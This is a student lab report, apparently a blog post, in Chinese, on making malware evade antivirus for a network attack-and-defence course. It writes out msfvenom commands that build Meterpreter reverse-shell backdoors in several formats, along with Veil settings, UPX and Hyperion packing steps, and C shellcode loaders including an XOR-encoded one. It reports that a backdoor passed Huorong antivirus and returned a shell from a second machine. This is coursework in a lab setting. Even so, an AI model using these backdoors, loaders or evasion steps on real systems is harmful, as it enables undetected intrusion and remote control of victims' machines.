20222413 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1学习总结
本周的学习内容为恶意代码的概念、发展历史以及分析技术。我知晓了恶意代码的不同类型及其典型案例、攻击方式和危害。同时我了解了静态分析和动态分析所采用的技术方法。
1.2实践内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(1)使用msf编码器进行恶意代码编写
①查看虚拟机的ip地址

②生成实验二所使用的后门程序

③生成完毕后在https://www.virustotal.com/gui/home/upload网站检测该程序,所得结果如下

④对生成的后门程序进行多次编码

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.117.129 LPORT=2413 -f exe > 20222413_backdoor_1.exe

编码一次检测结果:

编码十次检测结果:

编码二十次检测结果:

总的来说多次编码对于免杀效果的影响微乎其微
(2)使用msfvenom生成其它类型的文件

msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.jar
输出jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.php
输出php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.117.129 LPORT=2413 x> 20222413.py
输出python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.117.129 LPORT=2413 x> 20222413.apk
输出apk文件

所得免杀检测结果如下:
①jar

②php

③python

④apk

2.1.2使用veil,加壳工具
(1)veil下载完成后输入

veil
use evasion
use+payload类型,如use c/meterpreter/rev_tcp.py
输入list查看可使用的payload
set LHOST 192.168.117.129
set LPORT 2413
generate
20222413_veil






生成结果免杀效果如下:
①powershell
②C语言

③python

④ruby

(2)其他加壳工具
①使用upx对生成的c语言payload加压缩壳

upx 20222413_c_veil.exe -o 20222413_c_upxveil.exe


免杀检测结果:

②使用hyperion加密加壳

cp 20222413_c_veil.exe /usr/share/windows-resources/hyperion
将生成的C语言payload复制到hyperion文件夹中
wine hyperion.exe -v 20222413_c_veil.exe 20222413_c_veil_hyp.exe
使用hyperion对文件加密,生成的文件命名为20222413_c_veil_hyp.exe


免杀效果检测:

2.1.3使用C + shellcode编程
(1)使用msfvenom生成shellcode数组

(2)建立C文件

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int (func)() = (int ()()) buf;
(func)();
}

(3)编译C文件

(4)免杀效果检测

2.2通过组合应用各种技术实现恶意代码免杀
(1)使用C+shellcode+异或进行免杀,生成shellcode代码

(2)使用C语言对shellcode进行异或处理
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main(){
FILE *fptr;
fptr = fopen("shellcode.txt","w");
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
fprintf(fptr,"\x%x",buf[i]);
}
if(fptr==NULL){
printf("Error!");
exit(1);
}
fclose(fptr);
return 0;
}


使用gcc编译执行

得到异或后的shellcode

(3)使用异或的shellcode编写c文件

#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] = "生成的shellcode" ;
int main() {
int i;
for(int i=0;i<sizeof(buf)-1;i++){
buf[i]^=0x01;
}
int (func)();
func = (int (
)()) buf;
(func)();
}

(4)编译C文件为exe

(5)免杀效果检测

2.3用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
(1)生成后门文件20222413.raw

(2)通过共享文件夹将20222413.raw传送到主机

(3)使用杀毒工具进行检测
所用杀毒软件为火绒,版本为6.0.3.0

查杀结果如下

生成的后门程序并未被杀毒软件发现
(4)kali进入msf控制台,配置完成后在主机端使用shell_launcher运行后门程序,随后可获取主机shell

3.问题及解决方案

  • 问题1:在下载veil的时候,报错wget: unable to resolve host address
  • 问题1解决方案:错误原因为无法解析主机地址,进入/etc/resolv.conf修改DNS,将DNS地址改为google域名服务器
    在文件最后插入
    nameserver 8.8.8.8
    nameserver 8.8.4.4

4.实验问题回答

(1)杀软是如何检测出恶意代码的?

  • 特征码扫描:分析比对文件特征码与已知的恶意代码的特征码是否相同
  • 启发式扫描:分析程序的行为判断是否为恶意代码。当程序中出现恶意行为,如访问与修改系统资源时,将该程序判定为恶意代码。
  • 沙盒模拟技术‌:将待检测文件置于隔离的虚拟环境中运行,分析其行为和函数调用是否出现恶意行为
  • 云查杀技术‌:借助云计算技术迅速分析大量数据,识别新出现的恶意软件。

(2)免杀是做什么?

  • 通过使用技术手段修改恶意代码,使其无法被杀毒软件检测到,从而可以在目标系统中运行。

(3)免杀的基本方法有哪些?

  • 修改特征码,如加壳(加密壳与压缩壳)、encode编码、使用其他语言重写后编译
  • 改变行为,使用反弹式连接、隧道技术、加密数据等不易被判定为恶意行为的通讯方式。

5.学习感悟、思考等

本次实验内容为恶意代码的免杀原理与实践。通过本次实验,我了解到如何使用msf编码器、veil、upx和hyperion加壳以及c+shellcode技术。令我印象深刻的是veil的下载,过程很繁琐,在下载过程中虚拟机重启后出现了黑屏的问题,只能重装虚拟机。虽然过程有一点折磨,但最终得到每种方法的免杀检测结果、了解更多网络攻防技术知识带来的获得感令人欣喜。

参考资料

posted @ 2024-10-29 22:02  20222413韩亥珅  阅读(8)  评论(0编辑  收藏  举报